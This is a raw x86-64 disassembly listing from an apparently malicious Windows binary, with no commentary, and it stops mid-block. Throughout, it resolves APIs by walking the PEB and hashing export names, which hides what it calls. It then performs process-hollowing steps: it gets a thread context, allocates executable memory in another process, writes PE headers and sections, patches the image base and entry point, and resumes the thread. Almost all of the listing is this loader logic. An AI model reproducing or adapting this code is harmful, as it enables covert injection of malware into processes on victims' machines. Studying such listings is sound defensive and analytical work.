mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov edi, dword [rcx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x140078da6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140078da6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r11 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r11
mov r8d, 0x56a88e0d
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140078da1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140078d80
cmp r8d, 0xbb3b95f9
je 0x140078dab
test r9d, r9d
jne 0x140078d60
mov rax, qword [rax]
jmp 0x140078d30
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
mov edx, 0x4d0
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x1000
call r10
mov rsi, rax
mov qword [rsp + 0x60], rax
mov dword [rax + 0x30], 0x10000b
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop word [rax + rax]
mov r10, qword [rcx + 0x30]
movsxd rdx, dword [r10 + 0x3c]
mov edi, dword [rdx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140078e76
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140078e76
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rax, [r10 + r9*4]
mov edx, dword [rax + rbx]
add rdx, r10
mov r8d, 0x20630b90
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x140078e71
nop dword [rax]
movsx eax, al
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x140078e50
cmp r8d, 0xc9df69f7
je 0x140078e7b
test r9d, r9d
jne 0x140078e30
mov rcx, qword [rcx]
jmp 0x140078e00
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r8d, dword [rcx + rax*4]
add r8, r10
mov rdx, rsi
mov rcx, qword [rbp + 0x2648]
call r8
test eax, eax
je 0x1400793be
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov edi, dword [rcx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x140078f36
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140078f36
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r11 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r11
mov r8d, 0x98d53b3c
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140078f31
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140078f10
cmp r8d, 0x68c72f31
je 0x140078f3b
test r9d, r9d
jne 0x140078ef0
mov rax, qword [rax]
jmp 0x140078ec0
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
mov r8d, dword [r14 + 0x50]
lea r13, [r14 + 0x30]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov rdx, qword [r13]
mov rcx, qword [rbp + 0x2640]
call r10
mov r12, rax
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop dword [rax + rax]
mov r11, qword [rcx + 0x30]
movsxd rdx, dword [r11 + 0x3c]
mov edi, dword [rdx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x140079006
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140079006
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rax, [rbx + r9*4]
mov edx, dword [rax + r11]
add rdx, r11
mov r8d, 0xec7ba544
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x140079001
nop
movsx eax, al
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x140078fe0
cmp r8d, 0x66d6b28b
je 0x14007900b
test r9d, r9d
jne 0x140078fc0
mov rcx, qword [rcx]
jmp 0x140078f90
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
mov r9d, dword [r14 + 0x54]
mov qword [rsp + 0x20], r15
mov rbx, qword [rbp + 0x2800]
mov r8, rbx
mov rdx, r12
mov rcx, qword [rbp + 0x2640]
call r10
xor eax, eax
cmp ax, word [r14 + 6]
jae 0x140079240
mov r14d, eax
nop dword [rax]
nop word [rax + rax]
movsxd rsi, dword [rbx + 0x3c]
add rsi, rbx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov edi, dword [rcx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x1400790f6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400790f6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r11]
add rdx, r11
mov r8d, 0xab71f0e5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400790f1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400790d0
cmp r8d, 0xe7de9d4a
je 0x1400790fb
test r9d, r9d
jne 0x1400790b0
mov rax, qword [rax]
jmp 0x140079080
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
mov r9d, dword [rsi + r14 + 0x118]
mov r8d, dword [rsi + r14 + 0x11c]
add r8, qword [rbp + 0x2800]
mov edx, dword [rsi + r14 + 0x114]
add rdx, r12
xor eax, eax
mov qword [rsp + 0x20], rax
mov rcx, qword [rbp + 0x2640]
call r10
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov edi, dword [rcx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x1400791d6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400791d6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r11]
add rdx, r11
mov r8d, 0xc6a881ab
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400791d1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400791b0
cmp r8d, 0xb4f64b8c
je 0x1400791db
test r9d, r9d
jne 0x140079190
mov rax, qword [rax]
jmp 0x140079160
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
mov rsi, qword [rsp + 0x60]
mov rdx, qword [rsi + 0x88]
add rdx, 0x10
xor eax, eax
mov qword [rsp + 0x20], rax
lea r9d, [rax + 8]
mov r8, r13
mov rcx, qword [rbp + 0x2640]
call r10
inc r15
add r14, 0x28
mov rax, qword [rsp + 0x68]
movzx eax, word [rax + 6]
cmp r15, rax
mov rbx, qword [rbp + 0x2800]
jb 0x140079060
mov r14, qword [rsp + 0x68]
mov eax, dword [r14 + 0x28]
add rax, r12
mov qword [rsi + 0x80], rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400792d6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400792d6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x8f5b76cb
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400792d1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400792b0
cmp r8d, 0x12a1e664
je 0x1400792db
test r9d, r9d
jne 0x140079290
mov rax, qword [rax]
jmp 0x140079260
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r8d, dword [rcx + rax*4]
add r8, r10
mov rdx, rsi
mov rcx, qword [rbp + 0x2648]
call r8
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140079396
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140079396
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0xdfc9fef5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140079391
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140079370
cmp r8d, 0x67f7887e
je 0x14007939b
test r9d, r9d
jne 0x140079350
mov rax, qword [rax]
jmp 0x140079320
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov rcx, qword [rbp + 0x2648]
call rdx
xor r15d, r15d
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140079446
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140079446
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x5562d254
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140079441
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140079420
cmp r8d, 0x14823ade
je 0x14007944b
test r9d, r9d
jne 0x140079400
mov rax, qword [rax]
jmp 0x1400793d0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov rcx, qword [rbp + 0x2640]
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400794f6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400794f6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0xbc28502e
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400794f1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400794d0
cmp r8d, 0x5e7f3be4
je 0x1400794fb
test r9d, r9d
jne 0x1400794b0
mov rax, qword [rax]
jmp 0x140079480
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov rcx, qword [rbp + 0x2648]
call rdx
nop
lea rcx, [rbp + 0x2850]
call fcn.140090180
nop
lea rcx, [rbp + 0x2a18]
call fcn.140090bf0
mov rax, qword [0x140214480]
cmp byte [rax + 0x2b], 1
jne 0x140079ffc
lea rcx, [rbp + 0x2c18]
call fcn.140090c70
nop
lea rcx, [rbp + 0xc]
call fcn.140086770
mov rcx, rax
call fcn.14008c330
mov rdx, rax
lea rcx, [rbp + 0x2c18]
call fcn.140090bd0
mov edx, Ordinal_26
lea rcx, [rbp + 0x2910]
call fcn.140062500
lea rdx, [rbp + 0x2c18]
lea rcx, [rbp + 0x1fc8]
call fcn.140090c90
mov r8, rax
lea rdx, [rbp + 0x2910]
lea rcx, [0x140211120]
call fcn.1400a43e0
nop
lea rcx, [rbp + 0x2910]
call fcn.140090170
mov qword [rbp + 0x2800], rax
xorps xmm0, xmm0
xor ecx, ecx
movups xmmword [rbp + 0x2658], xmm0
mov qword [rbp + 0x2668], rcx
xorps xmm1, xmm1
movups xmmword [rbp + 0x30d0], xmm1
movups xmmword [rbp + 0x30e0], xmm1
movups xmmword [rbp + 0x30f0], xmm1
movups xmmword [rbp + 0x3100], xmm1
movups xmmword [rbp + 0x3110], xmm1
movups xmmword [rbp + 0x3120], xmm1
mov qword [rbp + 0x3130], rcx
movsxd r14, dword [rax + 0x3c]
add r14, rax
mov qword [rsp + 0x68], r14
cmp dword [r14], 0x4550
jne 0x140079fdc
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400796b6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400796b6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0xb8c1e84b
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400796b1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140079690
cmp r8d, 0x6bf3f9b3
je 0x1400796bb
test r9d, r9d
jne 0x140079670
mov rax, qword [rax]
jmp 0x140079640
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r9d, dword [rcx + rax*4]
add r9, r10
mov r8d, 0x104
lea rdx, [rbp + 0x4e80]
xor ecx, ecx
call r9
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov edi, dword [rcx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x140079776
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140079776
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r11 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r11
mov r8d, 0xa4182f40
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140079771
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140079750
cmp r8d, 0xa35206a8
je 0x14007977b
test r9d, r9d
jne 0x140079730
mov rax, qword [rax]
jmp 0x140079700
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
lea rax, [rbp + 0x2658]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x30d0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r15
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], reloc.WS2_32.dll_sendto
mov dword [rsp + 0x20], r15d
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x4e80]
xor ecx, ecx
call r10
test eax, eax
je 0x140079fdc
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov edi, dword [rcx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x140079866
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140079866
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r11 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r11
mov r8d, 0xede5aa7d
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140079861
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140079840
cmp r8d, 0xa80caee9
je 0x14007986b
test r9d, r9d
jne 0x140079820
mov rax, qword [rax]
jmp 0x1400797f0
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
mov edx, 0x4d0
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x1000
call r10
mov rsi, rax
mov qword [rsp + 0x60], rax
mov dword [rax + 0x30], 0x10000b
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop word [rax + rax]
mov r10, qword [rcx + 0x30]
movsxd rdx, dword [r10 + 0x3c]
mov edi, dword [rdx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140079936
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140079936
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rax, [r10 + r9*4]
mov edx, dword [rax + rbx]
add rdx, r10
mov r8d, 0x911e818b
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x140079931
nop dword [rax]
movsx eax, al
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x140079910
cmp r8d, 0xf9c27d8
je 0x14007993b
test r9d, r9d
jne 0x1400798f0
mov rcx, qword [rcx]
jmp 0x1400798c0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r8d, dword [rcx + rax*4]
add r8, r10
mov rdx, rsi
mov rcx, qword [rbp + 0x2660]
call r8
test eax, eax
je 0x140079e7e
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov edi, dword [rcx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x1400799f6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400799f6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r11 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r11
mov r8d, 0x7ae5d663
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400799f1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400799d0
cmp r8d, 0xb39f798a
je 0x1400799fb
test r9d, r9d
jne 0x1400799b0
mov rax, qword [rax]
jmp 0x140079980
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
mov r8d, dword [r14 + 0x50]
lea r13, [r14 + 0x30]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov rdx, qword [r13]
mov rcx, qword [rbp + 0x2658]
call r10
mov r12, rax
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop dword [rax + rax]
mov r11, qword [rcx + 0x30]
movsxd rdx, dword [r11 + 0x3c]
mov edi, dword [rdx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x140079ac6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140079ac6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rax, [r11 + r9*4]
mov edx, dword [rax + rbx]
add rdx, r11
mov r8d, 0x46d1ace6
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x140079ac1
nop dword [rax]
movsx eax, al
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x140079aa0
cmp r8d, 0x651d2409
je 0x140079acb
test r9d, r9d
jne 0x140079a80
mov rcx, qword [rcx]
jmp 0x140079a50
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
mov r9d, dword [r14 + 0x54]
mov qword [rsp + 0x20], r15
mov rbx, qword [rbp + 0x2800]
mov r8, rbx
mov rdx, r12
mov rcx, qword [rbp + 0x2658]
call r10
xor eax, eax
cmp ax, word [r14 + 6]
jae 0x140079d00
mov r14d, eax
nop dword [rax]
nop word [rax + rax]
movsxd rsi, dword [rbx + 0x3c]
add rsi, rbx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov edi, dword [rcx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x140079bb6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140079bb6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r11 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r11
mov r8d, 0x3da80203
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140079bb1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140079b90
cmp r8d, 0x926ed204
je 0x140079bbb
test r9d, r9d
jne 0x140079b70
mov rax, qword [rax]
jmp 0x140079b40
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
mov r9d, dword [rsi + r14 + 0x118]
mov r8d, dword [rsi + r14 + 0x11c]
add r8, qword [rbp + 0x2800]
mov edx, dword [rsi + r14 + 0x114]
add rdx, r12
xor eax, eax
mov qword [rsp + 0x20], rax
mov rcx, qword [rbp + 0x2658]
call r10
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov edi, dword [rcx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x140079c96
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140079c96
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r11 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r11
mov r8d, 0xd0b02bdb
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140079c91
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140079c70
cmp r8d, 0x19fa991c
je 0x140079c9b
test r9d, r9d
jne 0x140079c50
mov rax, qword [rax]
jmp 0x140079c20
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
mov rsi, qword [rsp + 0x60]
mov rdx, qword [rsi + 0x88]
add rdx, 0x10
xor eax, eax
mov qword [rsp + 0x20], rax
lea r9d, [rax + 8]
mov r8, r13
mov rcx, qword [rbp + 0x2658]
call r10
inc r15
add r14, 0x28
mov rax, qword [rsp + 0x68]
movzx eax, word [rax + 6]
cmp r15, rax
mov rbx, qword [rbp + 0x2800]
jb 0x140079b20
mov r14, qword [rsp + 0x68]
mov eax, dword [r14 + 0x28]
add rax, r12
mov qword [rsi + 0x80], rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140079d96
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140079d96
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x427b15a3
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140079d91
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140079d70
cmp r8d, 0x828b7e7c
je 0x140079d9b
test r9d, r9d
jne 0x140079d50
mov rax, qword [rax]
jmp 0x140079d20
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r8d, dword [rcx + rax*4]
add r8, r10
mov rdx, rsi
mov rcx, qword [rbp + 0x2660]
call r8
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140079e56
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140079e56
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x433b75bd
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140079e51
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140079e30
cmp r8d, 0x4f1f06a6
je 0x140079e5b
test r9d, r9d
jne 0x140079e10
mov rax, qword [rax]
jmp 0x140079de0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov rcx, qword [rbp + 0x2660]
call rdx
xor r15d, r15d
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140079f06
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140079f06
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0xaddeb560
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140079f01
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140079ee0
cmp r8d, 0x61b017aa
je 0x140079f0b
test r9d, r9d
jne 0x140079ec0
mov rax, qword [rax]
jmp 0x140079e90
mov ecx, dword [rdi + 0x1c]
add rcx, r10
